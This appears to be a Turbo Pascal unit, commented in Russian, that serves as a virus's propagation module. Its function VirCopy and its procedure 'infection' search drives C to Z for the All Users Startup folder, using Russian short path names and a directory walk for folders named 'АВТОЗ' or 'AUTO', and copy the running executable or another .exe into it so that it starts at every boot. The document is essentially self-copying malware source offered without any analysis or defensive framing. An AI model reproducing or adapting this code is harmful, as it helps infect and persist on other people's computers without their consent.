//Эта функция не находит папок автозагрузки на дисках NTFS.
unit AUTORUN;
interface
uses dos,utils;
function VirCopy(vir_name:string):boolean;
implementation
type search_array=array[1..8] of searchrec;
const autorun_dir_1='\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\';
const autorun_dir_2='.WIN\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\';
function VirCopy(vir_name:string):boolean;
var searcharr:^search_array;
dir:string;
win98,first,check_first:boolean;
disk:'C'..'Z';
i:byte;
procedure infection(autorun_dir:string);
var srch:^searchrec;
buf:array[0..665] of byte;
source,dest:file;
res,res2:word;
i,len:byte;
size:integer;
begin
if vir_name='' then
begin
new(srch);
vir_name:=paramstr(0);
findfirst('*.exe',anyfile,srch^);
if srch^.name=vir_name then findnext(srch^);
vir_name:=fexpand(vir_name);
len:=byte(vir_name[0]);
repeat
dec(len);
until vir_name[len]='\';
delete(vir_name,len+1,byte(vir_name[0])-len);
vir_name:=vir_name+srch^.name;
dispose(srch);
end;
assign(source,vir_name);
reset(source,1);
size:=filesize(source);
assign(dest,autorun_dir+extractFileName(vir_name));
rewrite(dest,1);
len:=size div 666;
for i:=1 to len do
begin
blockread(source,buf,666,res);
blockwrite(dest,buf,666,res2);
end;
size:=size-(666*len);
for res:=1 to size do
begin
blockread(source,len,1);
blockwrite(dest,len,1);
end;
close(source);
close(dest);
end;
procedure quick_find(autorun_path:string);
begin
if fileExists(autorun_path+'*.*') then
begin
infection(autorun_path);
VirCopy:=true;
check_first:=true;
end;
end;
begin
VirCopy:=false;
new(searcharr);
if vir_name='' then
begin
dir:=paramstr(0);
findfirst('*.exe',anyfile,searcharr^[1]);
if searcharr^[1].name=dir then findnext(searcharr^[1]);
if (searcharr^[1].name=dir) or (doserror<>0) then exit;
end;
check_first:=false;
for disk:='C' to 'Z' do
begin
i:=1;
if check_first then
begin
check_first:=false;
dec(disk);
if win98 then dir:=disk+':\WINDOWS\ALLUSE~1.WIN'
else dir:=disk+':\DOCUME~1\ALLUSE~1.WIN';
if not fileExists(dir+'\*.*') then continue;
end
else
begin
if fileExists(disk+':\DOCUME~1\ALLUSE~1\*.*') then
begin
win98:=false;
dir:=disk+':\DOCUME~1\ALLUSE~1';
end
else
begin
if fileExists(disk+':\WINDOWS\ALLUSE~1\*.*') then
begin
win98:=true;
dir:=disk+':\WINDOWS\ALLUSE~1';
end
else
begin
if disk>'G' then exit;
continue;
end;
end;
quick_find(dir+autorun_dir_1);
quick_find(dir+autorun_dir_2);
if check_first then
begin
check_first:=false;
continue;
end;
end;
first:=true;
repeat
if first then
begin
findfirst(dir+'\*',anyfile,searcharr^[i]);
findnext(searcharr^[i]);
end;
findnext(searcharr^[i]);
while (doserror=0) and (searcharr^[i].size<>0) do
findnext(searcharr^[i]);
if doserror=0 then
begin
if ((strCont('АВТОЗ',searcharr^[i].name)) or (strCont('AUTO',searcharr^[i].name)))
and (searcharr^[i].size=0) then
begin
VirCopy:=true;
infection(dir+'\'+searcharr^[i].name+'\');
check_first:=not check_first;
break;
end;
dir:=dir+'\'+searcharr^[i].name;
inc(i);
first:=true;
end
else if i<>1 then
begin
dec(dir[0],byte(searcharr^[i-1].name[0])+1);
dec(i);
first:=false;
end
else break;
continue;
until false;
end;
end;
end.